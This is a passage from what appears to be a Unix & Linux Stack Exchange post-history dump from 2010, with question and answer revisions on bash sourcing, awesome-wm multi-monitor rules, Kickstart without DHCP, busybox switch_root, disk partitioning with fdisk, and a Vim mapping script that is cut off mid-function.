  <row Id="11086" PostHistoryTypeId="5" PostId="5025" RevisionGUID="e54a65e9-305f-4559-8e49-e48e6b931752" CreationDate="2010-12-20T18:59:46.960" UserId="73" Comment="added 130 characters in body" Text="I see three errors:&#xD;&#xA;&#xD;&#xA;1. Your assignment line is wrong:&#xD;&#xA;&#xD;&#xA;        $NAME=&quot;a string&quot;&#xD;&#xA;&#xD;&#xA;  When you assign to a variable you don't include the `$`; it should be:&#xD;&#xA;&#xD;&#xA;        NAME=&quot;a string&quot;&#xD;&#xA;&#xD;&#xA;2. You're missing `then`; the conditional line should be:&#xD;&#xA;&#xD;&#xA;        if [ -f $HOME/install.sh ]; then&#xD;&#xA;&#xD;&#xA;3. You're not quoting `$NAME`, even though it has spaces. The source line should be:&#xD;&#xA;&#xD;&#xA;        . $HOME/install.sh &quot;$NAME&quot;&#xD;&#xA;" />
  <row Id="11087" PostHistoryTypeId="2" PostId="5027" RevisionGUID="672c0d78-48af-436a-9ede-8ae7ae08da10" CreationDate="2010-12-20T19:17:16.203" UserId="1207" Text="[Michael Mrozek][1] covers most of the issues and his fixes will work since you are using Bash.  &#xD;&#xA;&#xD;&#xA;You may be interested in the fact that the ability to source a script with arguments is a bashism.  In `sh` or `dash` your `main.sh` will not echo anything because the arguments to the sourced script are ignored and `$1` will refer to the argument to `main.sh.` &#xD;&#xA;&#xD;&#xA;When you source the script in `sh`, it is as if you just copy and pasted the text of the sourced script into the file from which it was sourced.  Consider the following (note, I've made the correction Michael recommended):&#xD;&#xA;&#xD;&#xA;    $ bash ./test.sh&#xD;&#xA;    A String&#xD;&#xA;    $ sh ./test.sh&#xD;&#xA;    &#xD;&#xA;    $ sh ./test.sh &quot;HELLO WORLD&quot;&#xD;&#xA;    HELLO WORLD&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/5024/passing-a-variable-to-a-bash-script-when-sourcing-it-in-another-bash-script/5025#5025" />
  <row Id="11088" PostHistoryTypeId="5" PostId="5024" RevisionGUID="d65325e7-1be3-4876-85a3-e53072737263" CreationDate="2010-12-20T19:18:43.193" UserId="2689" Comment="added 15 characters in body" Text="Suppose I have in main.sh:&#xD;&#xA;&#xD;&#xA;    NAME=&quot;$HOME&quot;&#xD;&#xA;    if [ -f &quot;$HOME/install.sh&quot; ]&#xD;&#xA;       then&#xD;&#xA;       . &quot;$HOME/install.sh&quot; &quot;$NAME&quot;&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;and in install.sh:&#xD;&#xA;&#xD;&#xA;    echo $1&#xD;&#xA;&#xD;&#xA;This is supposed to echo `/home/user/`, but it echoes nothing. Why?&#xD;&#xA;" />
  <row Id="11089" PostHistoryTypeId="2" PostId="5028" RevisionGUID="8e1cf7d1-3d09-4efb-9b63-f5a8aa47514c" CreationDate="2010-12-20T19:47:18.873" UserId="2655" Text="I recently got a second monitor at work and want to configure all with my window-manager: awesome. I run into a problem to put some applications on a tag on a screen. For example I have a rule for urxvt, to put it into tag one on the first screen:&#xD;&#xA;&#xD;&#xA;                  { rule = { class = &quot;URxvt&quot; },&#xD;&#xA;                                         properties = { tag = tags[1][1] }&#xD;&#xA;                  }&#xD;&#xA;&#xD;&#xA;That works fine, as long my mouse-cursor is on the first monitor. If I move my cursor on the second screen and start an instance of urxvt, it will be placed into the actual tag on the second monitor. Same, if I configure the app for an tag on the second screen, when it don't work if my mouse-cursor is on the first screen.&#xD;&#xA;&#xD;&#xA;How can I fix this?" />
  <row Id="11090" PostHistoryTypeId="1" PostId="5028" RevisionGUID="8e1cf7d1-3d09-4efb-9b63-f5a8aa47514c" CreationDate="2010-12-20T19:47:18.873" UserId="2655" Text="How to place an application on the second monitor with awesome-wm?" />
  <row Id="11091" PostHistoryTypeId="3" PostId="5028" RevisionGUID="8e1cf7d1-3d09-4efb-9b63-f5a8aa47514c" CreationDate="2010-12-20T19:47:18.873" UserId="2655" Text="éconfigurationàéawesomeöwmàédualömonitorà" />
  <row Id="11092" PostHistoryTypeId="2" PostId="5029" RevisionGUID="392e6e2f-d5fb-4d0d-846a-539c9d9d7067" CreationDate="2010-12-20T21:06:11.170" UserId="73" Text="This depends on the version of awesome you're using:&#xD;&#xA;&#xD;&#xA;### awesome 1.x&#xD;&#xA;&#xD;&#xA;Set the `screen` variable in the rule:&#xD;&#xA;&#xD;&#xA;    { rule =&#xD;&#xA;        { class = &quot;URxvt&quot; },&#xD;&#xA;        properties = { tag = tags[1][1] },&#xD;&#xA;        screen = 1&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;### awesome 2.x&#xD;&#xA;&#xD;&#xA;Set the `screen` property on the client in the `hook_manage` function:&#xD;&#xA;&#xD;&#xA;    if c.class == &quot;URxvt&quot; then&#xD;&#xA;        awful.client.movetotag(tags[1][1], c)&#xD;&#xA;        c.screen = 1&#xD;&#xA;    end&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;It appears from your code sample that you're using awesome 1.x; as a sidenote, 1.x is now really old, so you might want to look into upgrading to 2.x, which uses Lua instead of a custom configuration format" />
  <row Id="11093" PostHistoryTypeId="2" PostId="5030" RevisionGUID="2c54d7d0-1b18-4d64-aef8-03d194b0c52b" CreationDate="2010-12-20T22:18:51.640" UserId="1358" Text="Who is better and why? &#xD;&#xA;If I am thinking of getting into open-source development, which one is better? any one other than those 2 also good? &#xD;&#xA;" />
  <row Id="11094" PostHistoryTypeId="1" PostId="5030" RevisionGUID="2c54d7d0-1b18-4d64-aef8-03d194b0c52b" CreationDate="2010-12-20T22:18:51.640" UserId="1358" Text="freeBSD or linux or something else?" />
  <row Id="11095" PostHistoryTypeId="3" PostId="5030" RevisionGUID="2c54d7d0-1b18-4d64-aef8-03d194b0c52b" CreationDate="2010-12-20T22:18:51.640" UserId="1358" Text="élinuxàéfreebsdàéopensourceöprojectsà" />
  <row Id="11096" PostHistoryTypeId="10" PostId="5030" RevisionGUID="70f34cec-3d31-4908-b2e4-5d9e398aaea9" CreationDate="2010-12-20T22:23:51.977" UserId="-1" CloseReasonId="3" Text="[{&quot;Id&quot;:4,&quot;DisplayName&quot;:&quot;Stefan Lasiewski&quot;},{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="11097" PostHistoryTypeId="5" PostId="5030" RevisionGUID="5b60e369-d1f8-496d-8f05-c1c96134782d" CreationDate="2010-12-20T22:28:04.600" UserId="1358" Comment="added 213 characters in body" Text="Who is better and why? &#xD;&#xA;If I am thinking of getting into open-source development, which one is better? any one other than those 2 also good? &#xD;&#xA;&#xD;&#xA;If I am a beginner - what would be better for me to start on? with respect to: tools, community, developers, ethics?&#xD;&#xA;&#xD;&#xA;I know there is no apparent/direct answer. That is why asking here :)&#xD;&#xA;&#xD;&#xA;Thanks in advance." />
  <row Id="11098" PostHistoryTypeId="2" PostId="5031" RevisionGUID="9a877089-3ec6-4ff8-b40c-df21278c6a9c" CreationDate="2010-12-21T01:01:54.290" UserId="4" Text="I want to install CentOS 5.5 on two systems. I have a kickstart file.&#xD;&#xA;&#xD;&#xA;I would like to install CentOS on a system using this kickstart file. I'm reading the instructions provided by [fedoraproject.org][1] and [RedHat.com][2], but they suggest using a DHCP server. I don't want to set up a DHCP server right now, and I can't have DHCP traffic on this LAN.&#xD;&#xA;&#xD;&#xA;How can I make this kickstart available over the network without using DHCP to serve up the file initially?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://fedoraproject.org/wiki/Anaconda/Kickstart#Making_the_Kickstart_File_Available_on_the_Network&#xD;&#xA;  [2]: http://docs.redhat.com/docs/en-US/Red_Hat_Enterprise_Linux/5/html/Installation_Guide/s2-kickstart2-networkbased.html" />
  <row Id="11099" PostHistoryTypeId="1" PostId="5031" RevisionGUID="9a877089-3ec6-4ff8-b40c-df21278c6a9c" CreationDate="2010-12-21T01:01:54.290" UserId="4" Text="How can I server a Kickstart file over the network without a DHCP server?" />
  <row Id="11100" PostHistoryTypeId="3" PostId="5031" RevisionGUID="9a877089-3ec6-4ff8-b40c-df21278c6a9c" CreationDate="2010-12-21T01:01:54.290" UserId="4" Text="éinstallàérhelàékickstartà" />
  <row Id="11101" PostHistoryTypeId="2" PostId="5032" RevisionGUID="e9bfc0c5-ab74-41e5-bc35-25af62308dfb" CreationDate="2010-12-21T03:10:59.653" UserId="2996" Text="I'm working on an embedded ARM Linux system that boots using initramfs. (Here's some background from a couple [earlier][1] [questions][2], if you're interested.) So far, thanks in part to help received here, I can boot the kernel via TFTP with an embedded initramfs. The MMC driver detects an SD card containing a new root filesystem, which I can then mount. However, I cannot get the final step, using busybox switch_root to switch to the filesystem on the SD card, to work.&#xD;&#xA;&#xD;&#xA;At the initramfs shell prompt, I think this should make the kernel switch to the new filesystem:&#xD;&#xA;&#xD;&#xA;    switch_root -c /dev/console /mnt/root /sbin/init.sysvinit &#xD;&#xA;&#xD;&#xA;However, it just makes busybox (to which switch_root is aliased) print its man page, like this:&#xD;&#xA;&#xD;&#xA;    / # switch_root -c /dev/console /mnt/root /sbin/init.sysvinit &#xD;&#xA;    BusyBox v1.17.4 (2010-12-08 17:01:07 EST) multi-call binary.&#xD;&#xA;    &#xD;&#xA;    Usage: switch_root [-c /dev/console] NEW_ROOT NEW_INIT [ARGS]&#xD;&#xA;    &#xD;&#xA;    Free initramfs and switch to another root fs:&#xD;&#xA;    chroot to NEW_ROOT, delete all in /, move NEW_ROOT to /,&#xD;&#xA;    execute NEW_INIT. PID must be 1. NEW_ROOT must be a mountpoint.&#xD;&#xA;    &#xD;&#xA;    Options:&#xD;&#xA;    	&#xD;&#xA;    -c DEV	Reopen stdio to DEV after switch&#xD;&#xA;&#xD;&#xA;I think the -c option is correct, since it's the same as what is contained in the example, and /dev/console exists.&#xD;&#xA;&#xD;&#xA;    / # ls -l /dev&#xD;&#xA;    total 0&#xD;&#xA;    crw-r--r--    1 0        0           5,   1 Jan  1 00:28 console&#xD;&#xA;    brw-r--r--    1 0        0           7,   0 Dec 21  2010 loop0&#xD;&#xA;    brw-r--r--    1 0        0         179,   0 Dec 21  2010 mmcblk0&#xD;&#xA;    brw-r--r--    1 0        0         179,   1 Dec 21  2010 mmcblk0p1&#xD;&#xA;    brw-r--r--    1 0        0         179,   2 Dec 21  2010 mmcblk0p2&#xD;&#xA;    brw-r--r--    1 0        0         179,   3 Dec 21  2010 mmcblk0p3&#xD;&#xA;    brw-r--r--    1 0        0         179,   4 Dec 21  2010 mmcblk0p4&#xD;&#xA;&#xD;&#xA;/mnt/root also exists.&#xD;&#xA;&#xD;&#xA;    / # ls /mnt/root&#xD;&#xA;    bin         etc         linuxrc     mnt         sys         var&#xD;&#xA;    boot        home        lost+found  proc        tmp&#xD;&#xA;    dev         lib         media       sbin        usr&#xD;&#xA;&#xD;&#xA;The init executable exists:&#xD;&#xA;&#xD;&#xA;    / # ls -lh /mnt/root/sbin/&#xD;&#xA;    &lt;snip&gt;&#xD;&#xA;    lrwxrwxrwx    1 0        0             19 Dec 21  2010 init -&gt; /sbin/init.sysvinit&#xD;&#xA;    -rwxr-xr-x    1 0        0          22.8K Dec 21  2010 init.sysvinit&#xD;&#xA;&#xD;&#xA;But here's something strange:&#xD;&#xA;&#xD;&#xA;    /mnt/root/sbin # pwd&#xD;&#xA;    /mnt/root/sbin&#xD;&#xA;    /mnt/root/sbin # ls -l | grep init.sysvinit&#xD;&#xA;    lrwxrwxrwx    1 0        0               19 Dec 21  2010 init -&gt; /sbin/init.sysvinit&#xD;&#xA;    -rwxr-xr-x    1 0        0            23364 Dec 21  2010 init.sysvinit&#xD;&#xA;    /mnt/root/sbin # ./init.sysvinit &#xD;&#xA;    /bin/sh: ./init.sysvinit: not found&#xD;&#xA;    /mnt/root/sbin # /mnt/root/sbin/init.sysvinit &#xD;&#xA;    /bin/sh: /mnt/root/sbin/init.sysvinit: not found&#xD;&#xA;&#xD;&#xA;That's totally mystifying. I'm not sure where I'm going wrong. I've looked at the source, which is at http://git.busybox.net/busybox/tree/util-linux/switch_root.c?id=1_17_4&#xD;&#xA;&#xD;&#xA; it's not just the init.sysvinit executable. I can't execute anything from the SD card. For example:&#xD;&#xA;&#xD;&#xA;    /mnt/root/bin # ./busybox &#xD;&#xA;    /bin/sh: ./busybox: not found&#xD;&#xA;    /mnt/root/bin # /mnt/root/busybox &#xD;&#xA;    /bin/sh: /mnt/root/busybox: not found&#xD;&#xA;    /mnt/root/bin # ls -l | grep &quot;2010 busybox&quot;&#xD;&#xA;    -rwxr-xr-x    1 0        0           462028 Dec 21  2010 busybox&#xD;&#xA;&#xD;&#xA;Anyone have a clue what's amiss here? I thought it might be some problem with mounting the card noexec, but I believe exec is the default, and I tried passing the exec option explicitly at mount with no success.&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/4698/how-to-generate-initramfs-image-with-busybox-links&#xD;&#xA;  [2]: http://unix.stackexchange.com/questions/4660/debugging-ethernet-before-nfs-boot&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11102" PostHistoryTypeId="1" PostId="5032" RevisionGUID="e9bfc0c5-ab74-41e5-bc35-25af62308dfb" CreationDate="2010-12-21T03:10:59.653" UserId="2996" Text="Trouble getting busybox switch_root to work" />
  <row Id="11103" PostHistoryTypeId="3" PostId="5032" RevisionGUID="e9bfc0c5-ab74-41e5-bc35-25af62308dfb" CreationDate="2010-12-21T03:10:59.653" UserId="2996" Text="élinuxàéutilölinuxàébusyboxàésdà" />
  <row Id="11104" PostHistoryTypeId="2" PostId="5033" RevisionGUID="9d721e4a-c475-4b9f-909f-783019f6f49d" CreationDate="2010-12-21T04:26:30.743" UserId="1078" Text="The reason that `switch_root` is not working on the command line is this code in busybox:&#xD;&#xA;&#xD;&#xA;        if (st.st_dev == rootdev || getpid() != 1) {&#xD;&#xA;            // Show usage, it says new root must be a mountpoint&#xD;&#xA;            // and we must be PID 1&#xD;&#xA;            bb_show_usage();&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;You are not PID 1, so you are falling though into this `bb_show_usage`. The implication is that the `switch_root` command in your initramfs init script should run `switch_root` with `exec`. i.e.&#xD;&#xA;&#xD;&#xA;    exec switch_root ...&#xD;&#xA;&#xD;&#xA;The other issue with your &quot;not found&quot; errors is likely because the shared libraries needed by the executables are not found, because the initramfs root filesystem does not have them. If you can get `switch_root` to work with `exec`, then is likely the &quot;not found&quot; error will go away." />
  <row Id="11105" PostHistoryTypeId="4" PostId="5031" RevisionGUID="ec431369-4101-4414-a326-18c88c5d9189" CreationDate="2010-12-21T04:26:56.390" UserId="1207" Comment="minor title change" Text="How can I serve a Kickstart file over the network without a DHCP server?" />
  <row Id="11109" PostHistoryTypeId="2" PostId="5035" RevisionGUID="c37220ac-3fdf-49bb-afcd-55b7f5e291a5" CreationDate="2010-12-21T05:55:49.593" UserId="1358" Text="This one got closed:&#xD;&#xA;http://unix.stackexchange.com/questions/5030/freebsd-or-linux-or-something-else&#xD;&#xA;&#xD;&#xA;But I have a sincere question here. I want to know from the pros what is better for a newbie to start working on. I want to learn/contribute. &#xD;&#xA;&#xD;&#xA;If not the exact answer, please provide some rationale. " />
  <row Id="11110" PostHistoryTypeId="1" PostId="5035" RevisionGUID="c37220ac-3fdf-49bb-afcd-55b7f5e291a5" CreationDate="2010-12-21T05:55:49.593" UserId="1358" Text="where to start open-source work?" />
  <row Id="11111" PostHistoryTypeId="3" PostId="5035" RevisionGUID="c37220ac-3fdf-49bb-afcd-55b7f5e291a5" CreationDate="2010-12-21T05:55:49.593" UserId="1358" Text="élinuxàéfreebsdàéopensourceöprojectsà" />
  <row Id="11112" PostHistoryTypeId="5" PostId="5032" RevisionGUID="86370e35-025c-44f4-bb8d-de050c8067ca" CreationDate="2010-12-21T06:35:37.057" UserId="2996" Comment="typo" Text="I'm working on an embedded ARM Linux system that boots using initramfs. (Here's some background from a couple [earlier][1] [questions][2], if you're interested.) So far, thanks in part to help received here, I can boot the kernel via TFTP with an embedded initramfs. The MMC driver detects an SD card containing a new root filesystem, which I can then mount. However, I cannot get the final step, using busybox switch_root to switch to the filesystem on the SD card, to work.&#xD;&#xA;&#xD;&#xA;At the initramfs shell prompt, I think this should make the kernel switch to the new filesystem:&#xD;&#xA;&#xD;&#xA;    switch_root -c /dev/console /mnt/root /sbin/init.sysvinit &#xD;&#xA;&#xD;&#xA;However, it just makes busybox (to which switch_root is aliased) print its man page, like this:&#xD;&#xA;&#xD;&#xA;    / # switch_root -c /dev/console /mnt/root /sbin/init.sysvinit &#xD;&#xA;    BusyBox v1.17.4 (2010-12-08 17:01:07 EST) multi-call binary.&#xD;&#xA;    &#xD;&#xA;    Usage: switch_root [-c /dev/console] NEW_ROOT NEW_INIT [ARGS]&#xD;&#xA;    &#xD;&#xA;    Free initramfs and switch to another root fs:&#xD;&#xA;    chroot to NEW_ROOT, delete all in /, move NEW_ROOT to /,&#xD;&#xA;    execute NEW_INIT. PID must be 1. NEW_ROOT must be a mountpoint.&#xD;&#xA;    &#xD;&#xA;    Options:&#xD;&#xA;    	&#xD;&#xA;    -c DEV	Reopen stdio to DEV after switch&#xD;&#xA;&#xD;&#xA;I think the -c option is correct, since it's the same as what is contained in the example, and /dev/console exists.&#xD;&#xA;&#xD;&#xA;    / # ls -l /dev&#xD;&#xA;    total 0&#xD;&#xA;    crw-r--r--    1 0        0           5,   1 Jan  1 00:28 console&#xD;&#xA;    brw-r--r--    1 0        0           7,   0 Dec 21  2010 loop0&#xD;&#xA;    brw-r--r--    1 0        0         179,   0 Dec 21  2010 mmcblk0&#xD;&#xA;    brw-r--r--    1 0        0         179,   1 Dec 21  2010 mmcblk0p1&#xD;&#xA;    brw-r--r--    1 0        0         179,   2 Dec 21  2010 mmcblk0p2&#xD;&#xA;    brw-r--r--    1 0        0         179,   3 Dec 21  2010 mmcblk0p3&#xD;&#xA;    brw-r--r--    1 0        0         179,   4 Dec 21  2010 mmcblk0p4&#xD;&#xA;&#xD;&#xA;/mnt/root also exists.&#xD;&#xA;&#xD;&#xA;    / # ls /mnt/root&#xD;&#xA;    bin         etc         linuxrc     mnt         sys         var&#xD;&#xA;    boot        home        lost+found  proc        tmp&#xD;&#xA;    dev         lib         media       sbin        usr&#xD;&#xA;&#xD;&#xA;The init executable exists:&#xD;&#xA;&#xD;&#xA;    / # ls -lh /mnt/root/sbin/&#xD;&#xA;    &lt;snip&gt;&#xD;&#xA;    lrwxrwxrwx    1 0        0             19 Dec 21  2010 init -&gt; /sbin/init.sysvinit&#xD;&#xA;    -rwxr-xr-x    1 0        0          22.8K Dec 21  2010 init.sysvinit&#xD;&#xA;&#xD;&#xA;But here's something strange:&#xD;&#xA;&#xD;&#xA;    /mnt/root/sbin # pwd&#xD;&#xA;    /mnt/root/sbin&#xD;&#xA;    /mnt/root/sbin # ls -l | grep init.sysvinit&#xD;&#xA;    lrwxrwxrwx    1 0        0               19 Dec 21  2010 init -&gt; /sbin/init.sysvinit&#xD;&#xA;    -rwxr-xr-x    1 0        0            23364 Dec 21  2010 init.sysvinit&#xD;&#xA;    /mnt/root/sbin # ./init.sysvinit &#xD;&#xA;    /bin/sh: ./init.sysvinit: not found&#xD;&#xA;    /mnt/root/sbin # /mnt/root/sbin/init.sysvinit &#xD;&#xA;    /bin/sh: /mnt/root/sbin/init.sysvinit: not found&#xD;&#xA;&#xD;&#xA;That's totally mystifying. I'm not sure where I'm going wrong. I've looked at the source, which is at http://git.busybox.net/busybox/tree/util-linux/switch_root.c?id=1_17_4&#xD;&#xA;&#xD;&#xA;It's not just the init.sysvinit executable. I can't execute anything from the SD card. For example:&#xD;&#xA;&#xD;&#xA;    /mnt/root/bin # ./busybox &#xD;&#xA;    /bin/sh: ./busybox: not found&#xD;&#xA;    /mnt/root/bin # /mnt/root/busybox &#xD;&#xA;    /bin/sh: /mnt/root/busybox: not found&#xD;&#xA;    /mnt/root/bin # ls -l | grep &quot;2010 busybox&quot;&#xD;&#xA;    -rwxr-xr-x    1 0        0           462028 Dec 21  2010 busybox&#xD;&#xA;&#xD;&#xA;Anyone have a clue what's amiss here? I thought it might be some problem with mounting the card noexec, but I believe exec is the default, and I tried passing the exec option explicitly at mount with no success.&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/4698/how-to-generate-initramfs-image-with-busybox-links&#xD;&#xA;  [2]: http://unix.stackexchange.com/questions/4660/debugging-ethernet-before-nfs-boot&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11113" PostHistoryTypeId="2" PostId="5036" RevisionGUID="3099e2e5-10e2-40a6-b4b7-602009701665" CreationDate="2010-12-21T06:36:13.000" UserId="2300" Text="The dhcp server doesn't actually serve the file. The dhcp server assigns an IP address to a host (pxe client) which lacks an operating system when it boots. In addition to the IP address, the dhcp server can tell the pxe client that it should contact a separate server for a boot loader and then the pxe client downloads the boot loader (usually using tftp) loads it, and the boot loader can be configured to download the actual kickstart file using one several protocols, including http and nfs.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If you don't want to use dhcp, you could always boot the host off of a cdrom, and at the prompt where you usually just type linux to start the attended installation process, you can pass in your kickstart file as a kernel option along with a static networking configuration. " />
  <row Id="11114" PostHistoryTypeId="2" PostId="5037" RevisionGUID="e2213851-1a77-4757-8ded-2b205a08321e" CreationDate="2010-12-21T07:08:12.897" UserId="3245" Text="I think reading the following two books may be a good start.&#xD;&#xA;&#xD;&#xA;Classical Shell Scripting(http://oreilly.com/catalog/9780596005955)&#xD;&#xA;UNIX Programming Environment(http://www.amazon.com/Unix-Programming-Environment-Prentice-Hall-Software/dp/013937681X)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11115" PostHistoryTypeId="2" PostId="5038" RevisionGUID="d81d4543-14d3-439e-8ffe-79a19b22eb72" CreationDate="2010-12-21T07:10:25.780" UserId="2871" Text="Hi all,  &#xD;&#xA;&#xD;&#xA;I would like to know more on **how to create a new partition on an a hard-disk**?  &#xD;&#xA;Something more about using __fdisk__ and __mkfs__ as the man page is driving me more confused and lost.  &#xD;&#xA;&#xD;&#xA;I would also like to know how to create a new partition on an existing partitioned Hard disk.  Some of my colleagues told me that it is not possible to create a new partition without formatting the HDD. I need to confirm that also.&#xD;&#xA;&#xD;&#xA;Thanks,  &#xD;&#xA;Sen &#xD;&#xA;" />
  <row Id="11116" PostHistoryTypeId="1" PostId="5038" RevisionGUID="d81d4543-14d3-439e-8ffe-79a19b22eb72" CreationDate="2010-12-21T07:10:25.780" UserId="2871" Text="How to create a new partition on an a hard-disk?" />
  <row Id="11117" PostHistoryTypeId="3" PostId="5038" RevisionGUID="d81d4543-14d3-439e-8ffe-79a19b22eb72" CreationDate="2010-12-21T07:10:25.780" UserId="2871" Text="élinuxàépartitionàéhardödiskàéfdiskàémkfsà" />
  <row Id="11118" PostHistoryTypeId="5" PostId="5038" RevisionGUID="0ce24dde-93bf-4bed-b0ff-f93b5998e9b6" CreationDate="2010-12-21T07:24:39.533" UserId="2871" Comment="added 16 characters in body; edited title" Text="Hi all,  &#xD;&#xA;&#xD;&#xA;I would like to know more on **how to create a new partition on an a hard-disk** (from terminal)?  &#xD;&#xA;Something more about using __fdisk__ and __mkfs__ as the man page is driving me more confused and lost.  &#xD;&#xA;&#xD;&#xA;I would also like to know how to create a new partition on an existing partitioned Hard disk.  Some of my colleagues told me that it is not possible to create a new partition without formatting the HDD. I need to confirm that also.&#xD;&#xA;&#xD;&#xA;Thanks,  &#xD;&#xA;Sen &#xD;&#xA;" />
  <row Id="11119" PostHistoryTypeId="4" PostId="5038" RevisionGUID="0ce24dde-93bf-4bed-b0ff-f93b5998e9b6" CreationDate="2010-12-21T07:24:39.533" UserId="2871" Comment="added 16 characters in body; edited title" Text="How to create a new partition on a hard-disk?" />
  <row Id="11120" PostHistoryTypeId="2" PostId="5039" RevisionGUID="7507a35f-09ab-40b0-8fdd-d449cac331de" CreationDate="2010-12-21T07:31:16.670" UserId="252" Text="If you install [GNU parted](http://www.gnu.org/software/parted/index.shtml) (`libparted`), you get an extra command line progam `parted`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; GNU Parted manipulates partition&#xD;&#xA;&gt; tables. This is useful for creating&#xD;&#xA;&gt; space for new operating systems,&#xD;&#xA;&gt; reorganizing disk usage, copying data&#xD;&#xA;&gt; on hard disks and disk imaging. The&#xD;&#xA;&gt; package contains a library, libparted,&#xD;&#xA;&gt; as well as well as a command-line&#xD;&#xA;&gt; frontend, parted, which can also be&#xD;&#xA;&gt; used in scripts.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11122" PostHistoryTypeId="2" PostId="5040" RevisionGUID="14a2314e-b8cb-4fbb-b9af-01def305162d" CreationDate="2010-12-21T08:52:42.433" UserId="1946" Text="* Backup every piece of data you can't afford to lose and don't do this on a mission-critical server.&#xD;&#xA;* `umount` the partition you want to split into two or more parts.&#xD;&#xA;* Use `resize2fs` to free up the desired amount of space at the end of partition.&#xD;&#xA;* Launch `fdisk`.&#xD;&#xA;&#xD;&#xA;Unfortunately, this tool doesn't have an option to change the size of partition.  You'll need to delete it first and then create the desired new partitions on the unallocated space left from it.&#xD;&#xA;&#xD;&#xA;First re-create the partition you've just deleted with lower amount of allocated space.  Be sure to specify size enough to hold your resized filesystem.  Allocate the rest of unused space as you see fit.&#xD;&#xA;&#xD;&#xA;The `fdisk` tool doesn't touch your partition table unless you specifically say it to do so.  In case of mess up, just terminate it with `^C` and start over.&#xD;&#xA;&#xD;&#xA;* Now that you have you new partitions setup, use an appropriate `mkfs` command to create new filesystems.  Don't run `mkfs` on the original partition number -- only on the new ones!&#xD;&#xA;* Take extra care at every step as you risk the need start over in case of mistyped command.&#xD;&#xA;" />
  <row Id="11123" PostHistoryTypeId="2" PostId="5041" RevisionGUID="6743ef9a-6f66-4ffc-a56a-01d7a17cba64" CreationDate="2010-12-21T09:07:28.940" UserId="2655" Text="The book 'Producing Open Source Software - How to Run a Successful Free Software Project' from Karl Fogel is a good introduction to someone, who wants to start or join an OSS-project. The book is available on it's [website][1] - also as free download.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://producingoss.com/" />
  <row Id="11124" PostHistoryTypeId="5" PostId="5038" RevisionGUID="ad2169f9-f0c6-471b-8734-15cf3b784e88" CreationDate="2010-12-21T09:51:33.413" UserId="73" Comment="deleted 122 characters in body; edited title" Text="How do I create a new partition on a hard disk, from the terminal? I've been reading the `man` pages for `fdisk` and `mkfs`, but they're confusing. I need to know how to create a new partition on a blank drive, as well as on a drive that already has partitions. Some colleagues told me the latter isn't possible and I need to format; is that accurate?&#xD;&#xA;" />
  <row Id="11125" PostHistoryTypeId="4" PostId="5038" RevisionGUID="ad2169f9-f0c6-471b-8734-15cf3b784e88" CreationDate="2010-12-21T09:51:33.413" UserId="73" Comment="deleted 122 characters in body; edited title" Text="How to create a new partition on a hard disk?" />
  <row Id="11126" PostHistoryTypeId="2" PostId="5042" RevisionGUID="9ca0d384-38ff-4a52-877f-8ac27c1812d2" CreationDate="2010-12-21T11:42:50.427" UserId="3240" Text="Here is why the question should have been on SO : non trivial scripting is required...&#xD;&#xA;&#xD;&#xA;    &quot; Public Mappings {{{1&#xD;&#xA;    onoremap &lt;silent&gt; i% :&lt;c-u&gt;call &lt;sid&gt;SelectFirstPair(1,0)&lt;cr&gt;&#xD;&#xA;    xnoremap &lt;silent&gt; i% :&lt;c-u&gt;call &lt;sid&gt;SelectFirstPair(1,1)&lt;cr&gt;&lt;esc&gt;gv&#xD;&#xA;    onoremap &lt;silent&gt; a% :&lt;c-u&gt;call &lt;sid&gt;SelectFirstPair(0,0)&lt;cr&gt;&#xD;&#xA;    xnoremap &lt;silent&gt; a% :&lt;c-u&gt;call &lt;sid&gt;SelectFirstPair(0,1)&lt;cr&gt;&lt;esc&gt;gv&#xD;&#xA;    &quot; Public Mappings }}}1&#xD;&#xA;    &quot;------------------------------------------------------------------------&#xD;&#xA;    &quot; Private Functions {{{1&#xD;&#xA;    &quot; Note: most functions are best placed into&#xD;&#xA;    &quot; autoload/«your-initials»/«omap_any_bracket».vim&#xD;&#xA;    &quot; Keep here only the functions are are required when the plugin is loaded,&#xD;&#xA;    &quot; like functions that help building a vim-menu for this plugin.&#xD;&#xA;    let s:k_pairs = {&#xD;&#xA;          \ '(': ')',&#xD;&#xA;          \ '[': ']',&#xD;&#xA;          \ '{': '}',&#xD;&#xA;          \ '&lt;': '&gt;'&#xD;&#xA;          \ }&#xD;&#xA;    &#xD;&#xA;    let s:k_begin = '[([{&lt;]'&#xD;&#xA;    let s:k_end   = '[)\]}&gt;]'&#xD;&#xA;      &#xD;&#xA;    function! s:SelectFirstPair(inner, visual)&#xD;&#xA;      &quot; Searching the n outer blocks requested&#xD;&#xA;      let cnt = v:count &lt;= 0 ? 1 : v:count&#xD;&#xA;      while cnt &gt; 0&#xD;&#xA;        let cnt -= 1&#xD;&#xA;        let char_c = lh#position#char_at_pos(getpos('.'))&#xD;&#xA;        let accept_at_current = char_c =~ s:k_begin ? 'c' : ''&#xD;&#xA;    &#xD;&#xA;        &quot; Begin of the current outer block&#xD;&#xA;        if 0 ==searchpair(s:k_begin, '', s:k_end, 'bW'.accept_at_current, 'lh#syntax#skip()')&#xD;&#xA;          throw &quot;No outer bloc&quot;&#xD;&#xA;        endif&#xD;&#xA;        if cnt &gt; 0&#xD;&#xA;          call search('.', 'bW') &quot; previous char&#xD;&#xA;        endif&#xD;&#xA;      endwhile&#xD;&#xA;    &#xD;&#xA;      let char_b = lh#position#char_at_pos(getpos('.'))&#xD;&#xA;    